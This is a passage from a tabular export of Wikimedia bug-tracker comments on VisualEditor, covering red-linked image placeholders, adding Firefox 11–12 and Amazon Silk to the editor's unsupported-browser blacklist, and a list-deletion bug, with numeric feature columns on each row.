Pinging gwicke as this requires some Parsoid input.",,,1389631702,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,28,,1.0,0.0,0.0,0.5,0.0,5.0,1.5,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,4.5,12.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,4.0,1.5,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,11.0,2.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,2.0,7.0,0.5,1.5,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,5.0,12.0,4.5,0.0,0.5,0.0,5.0,0.0,1.5,3.0,0.5,2.0,0.0,0.0,2.0,3.853846153846154,0.8076923076923077,"So currently redlink images are returned as <meta typeof=""mw:Placeholder"">. I see a couple of ways to solve this:

1. Parsoid gives us back normal image tags, and we make sure our handling of images can deal with 404 src's. This way when we support changing image src's these will be editable in a useful way.

2. We treat mw:Placeholder as real data, and come up with a rendering for it (maybe using parsewikitextfragment, like templates). We'd need to know what else converts to a mw:Placeholder as this may be undesirable in other situations.

Pinging gwicke as this requires some Parsoid input."
235066,VisualEditor: We need a representation of red-linked images,*** Bug 51968 has been marked as a duplicate of this bug. ***,,,1377623981,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51968 has been marked as a duplicate of this bug. ***
235063,VisualEditor: We need a representation of red-linked images,"Yes, this is a bit of a mess.",,,1373155845,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,10.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,2.2,0.9,"Yes, this is a bit of a mess."
52781,VisualEditor: Browser blacklist issues (tracking),"Tracking bug for:

- Browsers that shouldn't be blacklisted but are;

- Browsers that should be blacklisted but aren't.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372987020,1422424851.0,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-2liv3ois3nnjarqe73d5,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.977272727272727,0.5227272727272727,"Tracking bug for:

- Browsers that shouldn't be blacklisted but are;

- Browsers that should be blacklisted but aren't.

--------------------------
**Version**: unspecified
**Severity**: normal"
403776,VisualEditor: Browser blacklist issues (tracking),Replaced by #VisualEditor-Initialisation.,,,1422424851,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2liv3ois3nnjarqe73d5,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.571428571428571,1.0,Replaced by #VisualEditor-Initialisation.
234651,VisualEditor: Browser blacklist issues (tracking),"There's no real point adding Bugzilla aliases, as Phabricator doesn't support them so they're going to get dropped in a matter of weeks.",,,1415031694,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2liv3ois3nnjarqe73d5,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,18.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.071428571428571,1.0,"There's no real point adding Bugzilla aliases, as Phabricator doesn't support them so they're going to get dropped in a matter of weeks."
234644,VisualEditor: Browser blacklist issues (tracking),"I'm going to add MSIE to the list, given that we really should get it working again.",,,1373041481,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2liv3ois3nnjarqe73d5,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,15.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,15.0,15.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.4,0.95,"I'm going to add MSIE to the list, given that we really should get it working again."
52780,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Following up to T52534, at least currently, Firefox 11 and 12 are broken as well. The first version of Firefox that at least loads the editor is Firefox 13.

Reported by user for Firefox 12, and confirmed in crossbrowsertesting.com.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1372986900,1373048811.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-zzmgok2p56thwvxkpnrv,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,4.15625,0.671875,"Following up to T52534, at least currently, Firefox 11 and 12 are broken as well. The first version of Firefox that at least loads the editor is Firefox 13.

Reported by user for Firefox 12, and confirmed in crossbrowsertesting.com.

--------------------------
**Version**: unspecified
**Severity**: major"
234597,VisualEditor: Firefox 11 and 12 also need to be blacklisted,This is now merged.,,,1373048811,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This is now merged.
234591,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72119 abandoned by Jforrester:
Blacklist Firefox 11 and 12

https://gerrit.wikimedia.org/r/72119",,,1373048537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.928571428571429,1.0,"Change 72119 abandoned by Jforrester:
Blacklist Firefox 11 and 12

GERRIT_URL"
234587,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72119 had a related patch set uploaded by Jforrester:
Blacklist Firefox 11 and 12

https://gerrit.wikimedia.org/r/72119",,,1373048483,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 72119 had a related patch set uploaded by Jforrester:
Blacklist Firefox 11 and 12

GERRIT_URL"
234581,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72118 abandoned by Jforrester:
Blacklist Firefox 11 and 12

https://gerrit.wikimedia.org/r/72118",,,1373048462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.928571428571429,1.0,"Change 72118 abandoned by Jforrester:
Blacklist Firefox 11 and 12

GERRIT_URL"
234576,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72118 had a related patch set uploaded by Jforrester:
Blacklist Firefox 11 and 12

https://gerrit.wikimedia.org/r/72118",,,1373048390,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 72118 had a related patch set uploaded by Jforrester:
Blacklist Firefox 11 and 12

GERRIT_URL"
234572,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72107 had a related patch set uploaded by Jforrester:
Blacklist Firefox 11 and 12

https://gerrit.wikimedia.org/r/72107",,,1373041365,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 72107 had a related patch set uploaded by Jforrester:
Blacklist Firefox 11 and 12

GERRIT_URL"
52779,"VisualEditor: Deleting a sole LI in front of a GC block doesn't, but selects the GC block","May be dup of 50213? 

User:Joe Decker reports:

The revision of an article here (http://en.wikipedia.org/w/index.php?title=David_Busic&oldid=562867623) has an interesting thing, a completely empty bulleted list item, which does not normally display when the article is read. It is just below the reflist, you can both confirm this in the old-style editor, and see it visually in VisualEditor. However, I have found myself unable to delete that from within Visual Editor without also deleting the preceding reference list, which is a little wacky from a UI point of view. E.g., I attempt to backspace over the bullet and I lose a reference list. Reproduced on Chrome and Safari. --j⚛e deckertalk 18:48, 4 July 2013 (UTC)

Replicated by me.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372980600,1410034029.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-snnn2o47ucaywt5ufim7,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.5,0.5,0.5,4.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,4.5,8.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,5.5,1.0,1.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,6.5,2.0,13.5,0.5,1.5,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,4.5,8.5,8.0,0.5,0.0,0.0,4.5,0.0,1.5,3.5,1.0,1.0,0.0,0.0,0.0,3.8950617283950617,0.7716049382716049,"May be dup of 50213? 

User:Joe Decker reports:

The revision of an article here (URL has an interesting thing, a completely empty bulleted list item, which does not normally display when the article is read. It is just below the reflist, you can both confirm this in the old-style editor, and see it visually in VisualEditor. However, I have found myself unable to delete that from within Visual Editor without also deleting the preceding reference list, which is a little wacky from a UI point of view. E.g., I attempt to backspace over the bullet and I lose a reference list. Reproduced on Chrome and Safari. --j⚛e deckertalk 18:48, 4 July 2013 (UTC)

Replicated by me.

--------------------------
**Version**: unspecified
**Severity**: normal"
234541,"VisualEditor: Deleting a sole LI in front of a GC block doesn't, but selects the GC block","This now works, probably caused by Ed's re-working of GCNs.",,,1410034029,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-snnn2o47ucaywt5ufim7,task_subcomment,,True,c1,3,True,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"This now works, probably caused by Ed's re-working of GCNs."
234533,"VisualEditor: Deleting a sole LI in front of a GC block doesn't, but selects the GC block","Had the same experience in http://en.wikipedia.org/w/index.php?title=The_Mortal_Instruments%3A_City_of_Bones_%28soundtrack%29&diff=566255621&oldid=566255504 . The empty bulleted list here was something in a sort of template used by the initial creator of the article, to vertically separate two comments. The bulleted list is not visible in the article when read, but is visible in VE: so the careful editor goes to delete this rubbish, and deletes the item above (not the hidden comment, but the reflist, in this case). I'm in Firefox 22 on Vista.",,,1375182193,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-snnn2o47ucaywt5ufim7,task_subcomment,,True,c1,3,False,,,4,,0.0,1.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,13.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,12.0,3.0,9.0,1.0,3.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,13.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.6666666666666666,"Had the same experience in URL . The empty bulleted list here was something in a sort of template used by the initial creator of the article, to vertically separate two comments. The bulleted list is not visible in the article when read, but is visible in VE: so the careful editor goes to delete this rubbish, and deletes the item above (not the hidden comment, but the reflist, in this case). I'm in Firefox 22 on Vista."
52777,VisualEditor: Add Amazon Silk browser to blacklist,"Copied from English Wikipedia:

When I try to use VisualEditor on my Kindle Fire, the article goes into edit mode, but clicking in the article doesn't bring up the keyboard like it does on an iPad. I'm presuming that aading support for the Kindle Fire's Amazon Silk browser isn't on your to do list now. Could you please add this browser to the blacklist? I would like to keep VE on in my preferences so it works when I'm on my PC but not have VE get in the way while on the Kindle. Thanks! GoingBatty (talk) 02:59, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1372978080,1391811891.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-smutmksr4slgk2o54suc,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.5,0.0,3.5,12.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,4.5,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,0.5,15.5,3.0,1.0,5.0,0.0,0.0,0.5,0.0,5.0,0.5,2.0,0.0,6.5,12.5,9.5,0.5,0.0,0.0,6.5,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,3.624120082815735,0.755072463768116,"Copied from English Wikipedia:

When I try to use VisualEditor on my Kindle Fire, the article goes into edit mode, but clicking in the article doesn't bring up the keyboard like it does on an iPad. I'm presuming that aading support for the Kindle Fire's Amazon Silk browser isn't on your to do list now. Could you please add this browser to the blacklist? I would like to keep VE on in my preferences so it works when I'm on my PC but not have VE get in the way while on the Kindle. Thanks! GoingBatty (talk) 02:59, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: minor"
234470,VisualEditor: Add Amazon Silk browser to blacklist,"Change 72108 merged by jenkins-bot:
Blacklist Amazon Silk

https://gerrit.wikimedia.org/r/72108",,,1391811948,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 72108 merged by jenkins-bot:
Blacklist Amazon Silk

GERRIT_URL"
234465,VisualEditor: Add Amazon Silk browser to blacklist,"Change 110989 merged by jenkins-bot:
jquery.client: Recognise Amazon Silk browser

https://gerrit.wikimedia.org/r/110989",,,1391810830,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9411764705882353,"Change 110989 merged by jenkins-bot:
jquery.client: Recognise Amazon Silk browser

GERRIT_URL"
234462,VisualEditor: Add Amazon Silk browser to blacklist,"Change 110989 had a related patch set uploaded by Alex Monk:
jquery.client: Recognise Amazon Silk

https://gerrit.wikimedia.org/r/110989",,,1391459065,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,35.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.8,0.95,"Change 110989 had a related patch set uploaded by Alex Monk:
jquery.client: Recognise Amazon Silk

GERRIT_URL"
234459,VisualEditor: Add Amazon Silk browser to blacklist,"(In reply to comment #6)
> (In reply to comment #4)
> > Well, here's the sample UA strings, plop those in your tests. :)
> > 
> > https://developer.amazon.com/sdk/fire/specifications.html#UserAgentStrings
> 
> That redirects me to another page without a user agent section...

Now apparently moved to:

http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html",,,1391392671,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5714285714285714,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Now apparently moved to:

URL"
234456,VisualEditor: Add Amazon Silk browser to blacklist,"(In reply to comment #4)
> Well, here's the sample UA strings, plop those in your tests. :)
> 
> https://developer.amazon.com/sdk/fire/specifications.html#UserAgentStrings

